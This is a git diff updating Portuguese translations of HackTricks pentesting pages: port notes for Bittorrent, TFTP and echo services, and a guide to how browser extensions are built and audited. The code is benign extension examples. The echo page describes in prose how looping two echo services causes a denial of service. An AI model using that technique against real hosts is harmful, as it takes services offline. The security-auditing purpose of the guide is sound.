**TODO**: Fornecer informações sobre o que é um rastreador Bittorrent (Shodan identifica essa porta com esse nome). Se você tiver mais informações sobre isso, nos avise, por exemplo, no [**grupo telegram do HackTricks**](https://t.me/peass) (ou em uma issue no github em [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
||||||
|
|
||||||
**Porta Padrão:** 69/UDP
|
**Porta Padrão:** 69/UDP
|
||||||
```
|
```
|
||||||
|
@ -57,7 +57,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -7,15 +7,15 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# Informação Básica
|
# Informação Básica
|
||||||
|
|
||||||
Um serviço de eco está em execução neste host. O serviço de eco foi destinado para fins de teste e medição e pode ouvir tanto os protocolos TCP quanto UDP. O servidor envia de volta quaisquer dados que recebe, sem modificação.\
|
Um serviço de eco está em execução neste host. O serviço de eco foi destinado para fins de teste e medição e pode escutar nos protocolos TCP e UDP. O servidor envia de volta qualquer dado que recebe, sem modificações.\
|
||||||
**É possível causar uma negação de serviço conectando um serviço de eco ao serviço de eco na mesma ou em outra máquina**. Devido ao número excessivamente alto de pacotes produzidos, as máquinas afetadas podem ser efetivamente retiradas de serviço.\
|
**É possível causar uma negação de serviço conectando um serviço de eco ao serviço de eco na mesma ou em outra máquina**. Devido ao número excessivamente alto de pacotes produzidos, as máquinas afetadas podem ser efetivamente retiradas de serviço.\
|
||||||
Informações de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
Informações de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||||
|
|
||||||
|
@ -51,7 +51,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -6,21 +6,21 @@
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
As extensões de navegador são escritas em JavaScript e carregadas pelo navegador em segundo plano. Elas têm seu [DOM](https://www.w3schools.com/js/js_htmldom.asp) mas podem interagir com o DOM de outros sites. Isso significa que elas podem comprometer a confidencialidade, integridade e disponibilidade de outros sites (CIA).
|
As extensões de navegador são escritas em JavaScript e carregadas pelo navegador em segundo plano. Elas possuem seu [DOM](https://www.w3schools.com/js/js\_htmldom.asp) mas podem interagir com o DOM de outros sites. Isso significa que elas podem comprometer a confidencialidade, integridade e disponibilidade de outros sites.
|
||||||
|
|
||||||
## Componentes Principais
|
## Componentes Principais
|
||||||
|
|
||||||
Os layouts de extensão ficam melhores quando visualizados e consistem em três componentes. Vamos analisar cada componente em detalhes.
|
Os layouts das extensões ficam melhores quando visualizados e consistem em três componentes. Vamos analisar cada componente em detalhes.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (4).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (4).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
@ -44,7 +44,7 @@ Para obter os privilégios completos do usuário, um atacante deve convencer a e
|
||||||
|
|
||||||
Cada componente da extensão é separado uns dos outros por **fortes limites de proteção**. Cada componente é executado em um **processo de sistema operacional separado**. Os scripts de conteúdo e os núcleos da extensão são executados em **processos de sandbox** indisponíveis para a maioria dos serviços do sistema operacional.
|
Cada componente da extensão é separado uns dos outros por **fortes limites de proteção**. Cada componente é executado em um **processo de sistema operacional separado**. Os scripts de conteúdo e os núcleos da extensão são executados em **processos de sandbox** indisponíveis para a maioria dos serviços do sistema operacional.
|
||||||
|
|
||||||
Além disso, os scripts de conteúdo são separados de suas páginas da web associadas por **serem executados em um heap JavaScript separado**. O script de conteúdo e a página da web têm **acesso ao mesmo DOM subjacente**, mas os dois **nunca trocam ponteiros JavaScript**, evitando o vazamento de funcionalidades JavaScript.
|
Além disso, os scripts de conteúdo são separados de suas páginas da web associadas por **serem executados em um heap JavaScript separado**. O script de conteúdo e a página da web têm **acesso ao mesmo DOM subjacente**, mas os dois **nunca trocam ponteiros JavaScript**, impedindo o vazamento de funcionalidades JavaScript.
|
||||||
|
|
||||||
## **`manifest.json`**
|
## **`manifest.json`**
|
||||||
|
|
||||||
|
@ -118,13 +118,13 @@ document.body.appendChild(div);
|
||||||
Uma mensagem é enviada para as páginas da extensão pelo script de conteúdo quando este botão é clicado, através da utilização da [**API runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Isso ocorre devido à limitação do script de conteúdo no acesso direto às APIs, sendo o `storage` uma das poucas exceções. Para funcionalidades além dessas exceções, mensagens são enviadas para as páginas da extensão com as quais os scripts de conteúdo podem se comunicar.
|
Uma mensagem é enviada para as páginas da extensão pelo script de conteúdo quando este botão é clicado, através da utilização da [**API runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Isso ocorre devido à limitação do script de conteúdo no acesso direto às APIs, sendo o `storage` uma das poucas exceções. Para funcionalidades além dessas exceções, mensagens são enviadas para as páginas da extensão com as quais os scripts de conteúdo podem se comunicar.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Dependendo do navegador, as capacidades do script de conteúdo podem variar ligeiramente. Para navegadores baseados em Chromium, a lista de capacidades está disponível na [documentação dos desenvolvedores do Chrome](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), e para o Firefox, a [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serve como fonte primária.\
|
Dependendo do navegador, as capacidades do script de conteúdo podem variar ligeiramente. Para navegadores baseados em Chromium, a lista de capacidades está disponível na [documentação dos desenvolvedores do Chrome](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), e para o Firefox, o [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serve como fonte primária.\
|
||||||
Também é importante notar que os scripts de conteúdo têm a capacidade de se comunicar com scripts de plano de fundo, permitindo que realizem ações e transmitam respostas de volta.
|
Também é importante notar que os scripts de conteúdo têm a capacidade de se comunicar com scripts de plano de fundo, permitindo que realizem ações e transmitam respostas de volta.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Para visualizar e depurar scripts de conteúdo no Chrome, o menu de ferramentas para desenvolvedores do Chrome pode ser acessado em Opções > Mais ferramentas > Ferramentas do desenvolvedor OU pressionando Ctrl + Shift + I.
|
Para visualizar e depurar scripts de conteúdo no Chrome, o menu de ferramentas para desenvolvedores do Chrome pode ser acessado em Opções > Mais ferramentas > Ferramentas do desenvolvedor OU pressionando Ctrl + Shift + I.
|
||||||
|
|
||||||
Ao exibir as ferramentas para desenvolvedores, a **aba Origem** deve ser clicada, seguida pela aba **Scripts de Conteúdo**. Isso permite a observação dos scripts de conteúdo em execução de várias extensões e a definição de pontos de interrupção para rastrear o fluxo de execução.
|
Ao exibir as ferramentas para desenvolvedores, a **aba Source** deve ser clicada, seguida pela aba **Content Scripts**. Isso permite a observação dos scripts de conteúdo em execução de várias extensões e a definição de pontos de interrupção para rastrear o fluxo de execução.
|
||||||
|
|
||||||
### Scripts de conteúdo injetados
|
### Scripts de conteúdo injetados
|
||||||
|
|
||||||
|
@ -132,7 +132,7 @@ Ao exibir as ferramentas para desenvolvedores, a **aba Origem** deve ser clicada
|
||||||
Observe que **Scripts de Conteúdo não são obrigatórios** pois também é possível **injetar scripts dinamicamente** e **injetá-los programaticamente** em páginas da web via **`tabs.executeScript`**. Isso, na verdade, fornece mais **controles granulares**.
|
Observe que **Scripts de Conteúdo não são obrigatórios** pois também é possível **injetar scripts dinamicamente** e **injetá-los programaticamente** em páginas da web via **`tabs.executeScript`**. Isso, na verdade, fornece mais **controles granulares**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Para a injeção programática de um script de conteúdo, a extensão deve ter [permissões de host](https://developer.chrome.com/docs/extensions/reference/permissions) para a página na qual os scripts serão injetados. Essas permissões podem ser garantidas tanto solicitando-as dentro do manifesto da extensão quanto temporariamente através de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
Para a injeção programática de um script de conteúdo, a extensão deve ter [permissões de host](https://developer.chrome.com/docs/extensions/reference/permissions) para a página na qual os scripts serão injetados. Essas permissões podem ser garantidas tanto **solicitando-as** dentro do manifesto da extensão quanto de forma temporária através de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||||
|
|
||||||
#### Exemplo de extensão baseada em activeTab
|
#### Exemplo de extensão baseada em activeTab
|
||||||
|
|
||||||
|
@ -204,7 +204,7 @@ O campo `run_at` controla **quando os arquivos JavaScript são injetados na pág
|
||||||
Os valores possíveis são:
|
Os valores possíveis são:
|
||||||
|
|
||||||
* **`document_idle`**: Sempre que possível
|
* **`document_idle`**: Sempre que possível
|
||||||
* **`document_start`**: Após quaisquer arquivos de `css`, mas antes de qualquer outro DOM ser construído ou qualquer outro script ser executado.
|
* **`document_start`**: Após quaisquer arquivos `css`, mas antes de qualquer outro DOM ser construído ou qualquer outro script ser executado.
|
||||||
* **`document_end`**: Imediatamente após o DOM estar completo, mas antes de subrecursos como imagens e frames serem carregados.
|
* **`document_end`**: Imediatamente após o DOM estar completo, mas antes de subrecursos como imagens e frames serem carregados.
|
||||||
|
|
||||||
#### Via `manifest.json`
|
#### Via `manifest.json`
|
||||||
|
@ -234,7 +234,7 @@ js : [ "contentScript.js" ],
|
||||||
```
|
```
|
||||||
### `background`
|
### `background`
|
||||||
|
|
||||||
As mensagens enviadas pelos scripts de conteúdo são recebidas pela **página de fundo**, que desempenha um papel central na coordenação dos componentes da extensão. Notavelmente, a página de fundo persiste ao longo da vida da extensão, operando discretamente sem interação direta do usuário. Possui seu próprio Modelo de Objeto de Documento (DOM), permitindo interações complexas e gerenciamento de estado.
|
As mensagens enviadas pelos scripts de conteúdo são recebidas pela **página de fundo**, que desempenha um papel central na coordenação dos componentes da extensão. Notavelmente, a página de fundo persiste ao longo da vida da extensão, operando discretamente sem interação direta do usuário. Possui seu próprio Document Object Model (DOM), permitindo interações complexas e gerenciamento de estado.
|
||||||
|
|
||||||
**Pontos Chave**:
|
**Pontos Chave**:
|
||||||
|
|
||||||
|
@ -256,7 +256,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
```
|
```
|
||||||
Utiliza a [API runtime.onMessage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) para ouvir mensagens. Quando recebe uma mensagem `"explain"`, utiliza a [API tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) para abrir uma página em uma nova aba.
|
Ele usa a [API runtime.onMessage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) para ouvir mensagens. Quando uma mensagem `"explain"` é recebida, ele usa a [API tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) para abrir uma página em uma nova aba.
|
||||||
|
|
||||||
Para depurar o script de fundo, você pode ir para os **detalhes da extensão e inspecionar o service worker**, isso abrirá as ferramentas de desenvolvedor com o script de fundo:
|
Para depurar o script de fundo, você pode ir para os **detalhes da extensão e inspecionar o service worker**, isso abrirá as ferramentas de desenvolvedor com o script de fundo:
|
||||||
|
|
||||||
|
@ -268,11 +268,11 @@ As extensões do navegador podem conter vários tipos de páginas:
|
||||||
|
|
||||||
* **Páginas de ação** são exibidas em um **menu suspenso quando o ícone da extensão é clicado**.
|
* **Páginas de ação** são exibidas em um **menu suspenso quando o ícone da extensão é clicado**.
|
||||||
* Páginas que a extensão irá **carregar em uma nova aba**.
|
* Páginas que a extensão irá **carregar em uma nova aba**.
|
||||||
* **Páginas de opções**: Esta página é exibida no topo da extensão quando clicada. No manifesto anterior, consegui acessar esta página em `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ou clicando em:
|
* **Páginas de opções**: Esta página é exibida sobre a extensão quando clicada. No manifesto anterior, no meu caso, consegui acessar esta página em `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ou clicando em:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Observe que essas páginas não são persistentes como as páginas de fundo, pois carregam conteúdo dinamicamente conforme a necessidade. Apesar disso, elas compartilham certas capacidades com a página de fundo:
|
Observe que essas páginas não são persistentes como as páginas de fundo, pois carregam conteúdo dinamicamente quando necessário. Apesar disso, elas compartilham certas capacidades com a página de fundo:
|
||||||
|
|
||||||
- **Comunicação com Scripts de Conteúdo:** Semelhante à página de fundo, essas páginas podem receber mensagens de scripts de conteúdo, facilitando a interação dentro da extensão.
|
- **Comunicação com Scripts de Conteúdo:** Semelhante à página de fundo, essas páginas podem receber mensagens de scripts de conteúdo, facilitando a interação dentro da extensão.
|
||||||
- **Acesso a APIs Específicas da Extensão:** Essas páginas têm amplo acesso a APIs específicas da extensão, sujeitas às permissões definidas para a extensão.
|
- **Acesso a APIs Específicas da Extensão:** Essas páginas têm amplo acesso a APIs específicas da extensão, sujeitas às permissões definidas para a extensão.
|
||||||
|
@ -283,7 +283,7 @@ Observe que essas páginas não são persistentes como as páginas de fundo, poi
|
||||||
|
|
||||||
Como as extensões do navegador podem ser tão **privilegiadas**, uma maliciosa ou comprometida poderia permitir ao atacante **diferentes meios de roubar informações sensíveis e espionar o usuário**.
|
Como as extensões do navegador podem ser tão **privilegiadas**, uma maliciosa ou comprometida poderia permitir ao atacante **diferentes meios de roubar informações sensíveis e espionar o usuário**.
|
||||||
|
|
||||||
Verifique como essas configurações funcionam e como podem ser abusadas em:
|
Verifique como essas configurações funcionam e como elas podem ser abusadas em:
|
||||||
|
|
||||||
{% content-ref url="browext-permissions-and-host_permissions.md" %}
|
{% content-ref url="browext-permissions-and-host_permissions.md" %}
|
||||||
[browext-permissions-and-host\_permissions.md](browext-permissions-and-host\_permissions.md)
|
[browext-permissions-and-host\_permissions.md](browext-permissions-and-host\_permissions.md)
|
||||||
|
@ -291,13 +291,13 @@ Verifique como essas configurações funcionam e como podem ser abusadas em:
|
||||||
|
|
||||||
### `content_security_policy`
|
### `content_security_policy`
|
||||||
|
|
||||||
Uma **política de segurança de conteúdo** também pode ser declarada dentro do `manifest.json`. Se uma estiver definida, ela poderia ser **vulnerável**.
|
Uma **política de segurança de conteúdo** também pode ser declarada dentro do `manifest.json`. Se houver uma definida, ela poderia ser **vulnerável**.
|
||||||
|
|
||||||
A configuração padrão para páginas de extensão do navegador é bastante restritiva:
|
A configuração padrão para páginas de extensão do navegador é bastante restritiva:
|
||||||
```bash
|
```bash
|
||||||
script-src 'self'; object-src 'self';
|
script-src 'self'; object-src 'self';
|
||||||
```
|
```
|
||||||
Para obter mais informações sobre CSP e possíveis formas de contorná-lo, consulte:
|
Para obter mais informações sobre CSP e possíveis formas de contorná-lo, verifique:
|
||||||
|
|
||||||
{% content-ref url="../content-security-policy-csp-bypass/" %}
|
{% content-ref url="../content-security-policy-csp-bypass/" %}
|
||||||
[content-security-policy-csp-bypass](../content-security-policy-csp-bypass/)
|
[content-security-policy-csp-bypass](../content-security-policy-csp-bypass/)
|
||||||
|
@ -305,7 +305,7 @@ Para obter mais informações sobre CSP e possíveis formas de contorná-lo, con
|
||||||
|
|
||||||
### `web_accessible_resources`
|
### `web_accessible_resources`
|
||||||
|
|
||||||
para que uma página da web acesse uma página de uma Extensão do Navegador, por exemplo, uma página `.html`, essa página precisa ser mencionada no campo **`web_accessible_resources`** do `manifest.json`.\
|
para que uma página da web acesse uma página de uma Extensão do Navegador, uma página `.html`, por exemplo, essa página precisa ser mencionada no campo **`web_accessible_resources`** do `manifest.json`.\
|
||||||
Por exemplo:
|
Por exemplo:
|
||||||
```javascript
|
```javascript
|
||||||
{
|
{
|
||||||
|
@ -367,7 +367,7 @@ Portanto, este é um **bypass muito poderoso**.
|
||||||
|
|
||||||
## Comunicação Web **↔︎** Content Script
|
## Comunicação Web **↔︎** Content Script
|
||||||
|
|
||||||
Os ambientes onde os **scripts de conteúdo** operam e onde as páginas hospedeiras existem estão **separados** um do outro, garantindo **isolamento**. Apesar desse isolamento, ambos têm a capacidade de interagir com o **Modelo de Objeto de Documento (DOM)** da página, um recurso compartilhado. Para que a página hospedeira se comunique com o **script de conteúdo**, ou indiretamente com a extensão através do script de conteúdo, é necessário utilizar o **DOM** que é acessível por ambas as partes como canal de comunicação.
|
Os ambientes onde os **scripts de conteúdo** operam e onde as páginas hospedeiras existem estão **separados** um do outro, garantindo **isolamento**. Apesar desse isolamento, ambos têm a capacidade de interagir com o **Modelo de Objeto de Documento (DOM)** da página, um recurso compartilhado. Para que a página hospedeira se comunique com o **content script**, ou indiretamente com a extensão por meio do content script, é necessário utilizar o **DOM** que é acessível por ambas as partes como canal de comunicação.
|
||||||
|
|
||||||
### Mensagens de Postagem
|
### Mensagens de Postagem
|
||||||
|
|
||||||
|
@ -442,7 +442,7 @@ Claro, **não coloque informações sensíveis no código**, pois será **públi
|
||||||
|
|
||||||
Um Content Script pode usar as funções [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ou** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) para enviar uma mensagem **serializável em JSON** de uma vez.
|
Um Content Script pode usar as funções [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ou** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) para enviar uma mensagem **serializável em JSON** de uma vez.
|
||||||
|
|
||||||
Para lidar com a **resposta**, use a **Promise** retornada. Embora, para compatibilidade com versões anteriores, ainda seja possível passar um **callback** como último argumento.
|
Para lidar com a **resposta**, use a **Promise** retornada. No entanto, para compatibilidade com versões anteriores, ainda é possível passar um **callback** como último argumento.
|
||||||
|
|
||||||
Enviar uma solicitação de um **script de conteúdo** parece com isso:
|
Enviar uma solicitação de um **script de conteúdo** parece com isso:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -477,7 +477,7 @@ sendResponse({farewell: "goodbye"});
|
||||||
```
|
```
|
||||||
No exemplo destacado, **`sendResponse()`** foi executado de forma síncrona. Para modificar o manipulador de eventos `onMessage` para execução assíncrona de `sendResponse()`, é imperativo incorporar `return true;`.
|
No exemplo destacado, **`sendResponse()`** foi executado de forma síncrona. Para modificar o manipulador de eventos `onMessage` para execução assíncrona de `sendResponse()`, é imperativo incorporar `return true;`.
|
||||||
|
|
||||||
Uma consideração importante é que em cenários onde várias páginas estão configuradas para receber eventos `onMessage`, **a primeira página a executar `sendResponse()`** para um evento específico será a única capaz de entregar a resposta efetivamente. Quaisquer respostas subsequentes ao mesmo evento não serão consideradas.
|
Uma consideração importante é que em cenários onde várias páginas estão configuradas para receber eventos `onMessage`, **a primeira página a executar `sendResponse()`** para um evento específico será a única capaz de entregar a resposta de forma eficaz. Quaisquer respostas subsequentes ao mesmo evento não serão consideradas.
|
||||||
|
|
||||||
Ao criar novas extensões, a preferência deve ser para promessas em vez de callbacks. Em relação ao uso de callbacks, a função `sendResponse()` é considerada válida apenas se for executada diretamente no contexto síncrono, ou se o manipulador de eventos indicar uma operação assíncrona retornando `true`. Caso nenhum dos manipuladores retorne `true` ou se a função `sendResponse()` for removida da memória (coletada pelo garbage collector), o callback associado à função `sendMessage()` será acionado por padrão.
|
Ao criar novas extensões, a preferência deve ser para promessas em vez de callbacks. Em relação ao uso de callbacks, a função `sendResponse()` é considerada válida apenas se for executada diretamente no contexto síncrono, ou se o manipulador de eventos indicar uma operação assíncrona retornando `true`. Caso nenhum dos manipuladores retorne `true` ou se a função `sendResponse()` for removida da memória (coletada pelo garbage collector), o callback associado à função `sendMessage()` será acionado por padrão.
|
||||||
|
|
||||||
|
@ -492,7 +492,7 @@ No **Firefox**, acesse **`about:debugging#/runtime/this-firefox`** e clique no b
|
||||||
|
|
||||||
## Obtendo o código-fonte da loja
|
## Obtendo o código-fonte da loja
|
||||||
|
|
||||||
O código-fonte de uma extensão do Chrome pode ser obtido por vários métodos. Abaixo estão explicações detalhadas e instruções para cada opção.
|
O código-fonte de uma extensão do Chrome pode ser obtido por meio de vários métodos. Abaixo estão explicações detalhadas e instruções para cada opção.
|
||||||
|
|
||||||
### Baixar Extensão como ZIP via Linha de Comando
|
### Baixar Extensão como ZIP via Linha de Comando
|
||||||
|
|
||||||
|
@ -515,7 +515,7 @@ Outro método conveniente é usar o Chrome Extension Source Viewer, que é um pr
|
||||||
|
|
||||||
### Visualizar o código-fonte de uma extensão instalada localmente
|
### Visualizar o código-fonte de uma extensão instalada localmente
|
||||||
|
|
||||||
Extensões do Chrome instaladas localmente também podem ser inspecionadas. Veja como:
|
As extensões do Chrome instaladas localmente também podem ser inspecionadas. Veja como:
|
||||||
|
|
||||||
1. Acesse o diretório do perfil local do Chrome visitando `chrome://version/` e localizando o campo "Profile Path".
|
1. Acesse o diretório do perfil local do Chrome visitando `chrome://version/` e localizando o campo "Profile Path".
|
||||||
2. Navegue até a subpasta `Extensions/` dentro do diretório do perfil.
|
2. Navegue até a subpasta `Extensions/` dentro do diretório do perfil.
|
||||||
|
@ -540,7 +540,7 @@ Isso não baixa o código-fonte, mas é útil para visualizar e modificar o cód
|
||||||
|
|
||||||
## Lista de Verificação de Auditoria de Segurança
|
## Lista de Verificação de Auditoria de Segurança
|
||||||
|
|
||||||
Embora as Extensões do Navegador tenham uma **superfície de ataque limitada**, algumas delas podem conter **vulnerabilidades** ou **melhorias de fortalecimento potenciais**. As mais comuns são:
|
Embora as Extensões do Navegador tenham uma **superfície de ataque limitada**, algumas delas podem conter **vulnerabilidades** ou **melhorias potenciais de fortalecimento**. As mais comuns são:
|
||||||
|
|
||||||
* [ ] **Limitar** o máximo possível as **`permissões`** solicitadas
|
* [ ] **Limitar** o máximo possível as **`permissões`** solicitadas
|
||||||
